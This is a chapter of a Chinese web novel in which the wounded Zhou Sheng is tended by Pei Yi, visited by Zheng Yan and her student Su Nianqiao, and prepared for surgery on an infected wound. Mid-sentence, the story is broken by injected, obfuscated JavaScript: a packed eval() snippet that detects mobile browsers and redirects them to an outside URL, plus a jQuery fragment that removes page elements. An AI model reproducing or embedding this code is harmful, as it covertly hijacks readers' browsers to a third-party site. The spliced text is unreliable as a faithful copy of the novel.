周琞心底巨震,一时间百感交集,竟有些不知该怎么面对裴翊。
身上不间断的疼痛已经让周琞的感官开始发麻、迟钝,周琞眼皮上像是挂了两个石球一般,重地抬不起来。
“裴翊……”周琞握住裴翊捂着她脸上的手,慢慢地从她脸上拽下来,翻到手背,在裴翊刚刚吻过的地方,又亲了一下。
裴翊眼神瞬间睁大,眼眶的泪水都跟着停滞了片刻:“你!”
“对不住,我不知道这样会让你难过。”周琞环抱住裴翊,“我以后有什么事都会跟你商量,你有什么委屈也可以直接告诉我,好吗?”
裴翊鼻子一酸,将整个头埋进了周琞的脖颈处,点头:“嗯……”
周琞闭上双眼,心里万千杂念飘过,感受着裴翊的呼吸,最终还是无奈叹了口气,她自己都不知道,原来她可以心软到这个地步。
周琞双手紧抱着裴翊:“我现在有点难受,想……想睡一会儿,你别害怕……”
“什……阿琞!”裴翊感觉到怀里的人忽然一软,想泥鳅一样止不住地往下滑。
裴翊一手穿过周琞的膝弯,将周琞腾空抱起,一个箭步冲到床榻放好周琞,探了周琞的脉搏和气息,确认周琞只是昏睡过去了,才敢出门叫来了王伯。
王伯抱着陆少文送来的包袱研究地如痴如醉,忽然听到裴翊爆裂的呼喊,差点一口气咽下去。
裴翊心脏狂跳,整个胸膛像鼓一般咚咚咚地响个不停,哪里还顾得了那么多,连拖带拽地将王伯带进了周琞屋子。
就这样连续折腾了好几天,周琞的身体还是每况愈下,就算快泡在药汤子里,伤口还是不可避免的开始化脓流水。
不过几天的时间,周琞便开始昏昏沉沉的,清醒的时间也越发的少。
裴翊跟着熬了好几天,脸色越来越难看,期间请来的医师甚至以为要看病的是裴翊。
郑晏处理好一切事物后,终于有机会来看周琞,带着苏念巧乔装了一番赶到将军府。
郑晏见到裴翊时吓了一跳,裴翊整个人瘦了好几圈,见到来人冷若冰霜地点了个头,便将他们放了进去。
郑晏没有多问,直接走进去找周琞。
周琞听到声音睁开双眼,见来人是郑晏眼里闪过一丝惊讶:“你怎么来了?”
郑晏:“我来看你。”
周琞这短短一段时间更是瘦的吓人,她被一床被子压在下面像是没有身体似的,面色惨白没有一点血色,整个人反而展现出另一种诡异而凌虐的美感。
周琞躺在床上挣扎了一下,一旁没怎么说过话的苏念巧伸手稳住了周琞,周琞冲她挤了个笑容,转头问道:“你府上的眼线处理干净了?”
“没有。”郑晏脸上少有的没了假笑,皱着眉望着周琞,“裴翊的人前几日要药材要到了我那里,我心里不安,便找机会来看看你。”
周琞一愣不知道该说些什么,这可真是把裴翊逼急了,都开始向郑晏求药了。
周琞转移话题道:“卫高佺怎么样了?”
“卫家的事已经处理的差不多了。”郑晏双手背后站在周琞床边缓缓说道,“一开始并不顺利,卫家毕竟势大,朝堂上争议了好久,好几个人差点当庭触柱,父皇也没办法硬来,只能拖着时间在去找谋反的铁证,直到昨天,陆少文找来了你们在金矿那边的眼线,还有那边的领头人,这事才算彻底转了风向,估计再有几日,你便能听到卫家倒台的消息了。”
周琞点点头,心里总算是有了底。
郑晏看着周琞似乎有千言万语,但不知该怎么说,从哪儿说,只好注视着苏念巧从被子里翻出周琞纤细的手腕,试图号脉号出什么来。
周琞将呼吸放匀:“怎么样?摸出什么了吗?”
苏念巧就这样静静地看着周琞。
周琞拉着苏念巧要撤走的手,放在了自己脉上:“记住这个脉,还有我都面色、舌头、眼底……书上的东西永远没有现实中的生动……”
苏念巧强忍着眼泪看了周琞的舌头和眼底,点头道:“我记住了师父。”
“见揽川阁有序地配合我打压卫高佺,我以为你没事呢。”郑晏忽然问道,“为什么要救我?”
周琞抬眼望向郑晏,眼里盛满了宁静与平和:“因为你比我重要,百姓更需要一位明君。”
郑晏轻笑一声撇开脸,试图遮掩脸色闪过的哀伤。
周琞声音越来越小,语气虚弱道:“快走吧,免得被你府里的眼线发觉。”
郑晏点头:“嗯,裴翊要的药材我已经全部带来了,有一些是从宫里拿的,等你好了记得去谢恩。”
苏念巧忽然站起来向着郑晏行礼道:“我先不回去了,我在这里陪着师父……我早已拜周阁主为师,所有人都知道,在外留宿学艺也正常。”
周琞眉头皱起:“不行,现在特殊时期,就算不怕揽川阁知道,也怕卫家残党来报复,况且你一个未出阁的女子留在将军府算什么?你回王府是最安全的,听话回去。”
苏念巧转身说道:“师父重病垂危,我作为晚辈岂能因贪生怕死置之度外?今日我若走了,日后定会后悔,因这个决定受尽折磨!”
“好。”郑晏开口定音,“留下吧。”
苏念巧松了口气,露出一抹微笑,周琞觉得这两人简直疯了,她艰难地从床上爬起来,就差戳着苏念巧的额头骂了:“你见那个京城的高门贵女未出阁就跑到别人府中住了?你和裴翊不沾亲不带故,被外人知道你以后怎么办?”
苏念巧连忙上前扶稳周琞,倔强道:“会怎么样?能怎么样?鸣风不也是到处乱跑吗?”
周琞差点被气地眼前一黑,就差从床上蹦起来了:“你和鸣风能一样吗?鸣风说白了是江湖人士,你以后还要在京城里过日子,你不能因为这么点事就败了名声!”
苏念巧在周琞面前展示出了前所未有的强硬:“我最看不起的便是沽名钓誉之辈……我不在乎名声和世俗的眼光,我只在乎眼前真正重要的。”
周琞闭着眼一撇头,脸上满是无奈:“我真的累了,郑晏你说……”
郑晏忽然笑了一声:“我算是没有愧对年少挚友的托孤。”
苏念巧半抱着周琞:“裴将军能请来的医师几乎都是男人,有我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758374|166934||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在中间周搭话你会舒服一点,就让我留着吧。”
周琞气力不足,实在是劝不动苏念巧,郑晏也立在一边裹乱,周琞彻底无话可说,干瞪着眼怒视着二人。
苏念巧和郑晏二人一个看天一个看地,没有一个人去接周琞的视线。
周琞病痛缠身没有办法反抗,只能咽下这番欺辱。
陆少文忽然闯进来,感受到气氛不对,又退了出去,步子刚踏出去脑子才反应过来,劲拍了一下额头,再次闯了进去,见到郑晏皱眉问道:“你怎么来了?”
裴翊跟着进来:“他来送药,你要的都齐了。”
“齐了?”陆少文声音忽然虚了下来,长叹了口气视线落在周琞身上,“什么时候开始?”
周琞生了半天的气,力气快要耗空了:“今夜可以吗?越快越好吧。”
裴翊走过去顶走了苏念巧,慢慢地将周琞拦在自己怀里:“真的不要麻药吗?”
“不要。”周琞自己找了个舒服的地方瘫倒,“麻药会伤神智,用的多了我怕拿不起针……”
郑晏听的云里雾里:“这是要做什么?”
陆少文:“剜肉……”
苏念巧倒吸了一口凉气:“怎么会……”
“那刺客手上的剑应当是涂了粪便,伤口感染太严重了……”陆少文摇头:“该用的招都用了,这是剩余办法里最保守的一个了。”
裴翊手指撩开周琞脸上的头发:“医师、药材都尽力去找最好的了,定不会再出什么差错.”
周琞听着众人的讨论,慢慢地闭上了眼,鼻尖萦绕着裴翊衣服上沾染上的苦涩的药味,心里也跟着慢慢安定下来,陷入了黑色。
裴翊抱着周琞心里早痛麻了,这几天他日复一日的陪着周琞,看着她的身体每况愈下,而他却无能为力,灵魂像是被凌迟似的受尽折磨。
郑晏看了一眼昏睡过去的周琞,拍了拍陆少文的肩头:“有什么需要我帮忙的便说,我实在不宜久待先告辞了。”
裴翊安放好周琞,起身去送郑晏,回来时,陆少文忽然叫住了裴翊。
“我不知道该不该告诉你……”陆少文从怀里摸出两块玉佩,“这是周琞托我找来的,她一直想送给你,但没找到合适的时机,又转交给我,在我这里放了很久……”
裴翊拿过这一对玉佩,手指摩梭了几下,胸腔中爆发出前所未有的情绪,撑的他的心口都在微微发痛,原来周琞不是不在乎他,而是太在乎了所以每一步都走的小心翼翼。
裴翊喉头滚动,咽下涌出的百感交集,颤抖着声音问道:“这是,她什么时候买的?”
“不是买的。”陆少文视线落在那块玉佩上,犹豫了片刻还是如实说道,“这是周琞父母留给她的遗物,在赵昌府上周琞托我去找的。”
“这么早啊……”裴翊喃喃道,“原来这么早……”
裴翊笑了一声,郑重地将玉佩放入怀中,丢了魂似的飘进自己的房间,将所有人都关在了门外。
陆少文看着裴翊的背影忍不住叹了口气,真心希望自己的决定没有做错,也希望周琞好了以后别找他麻烦。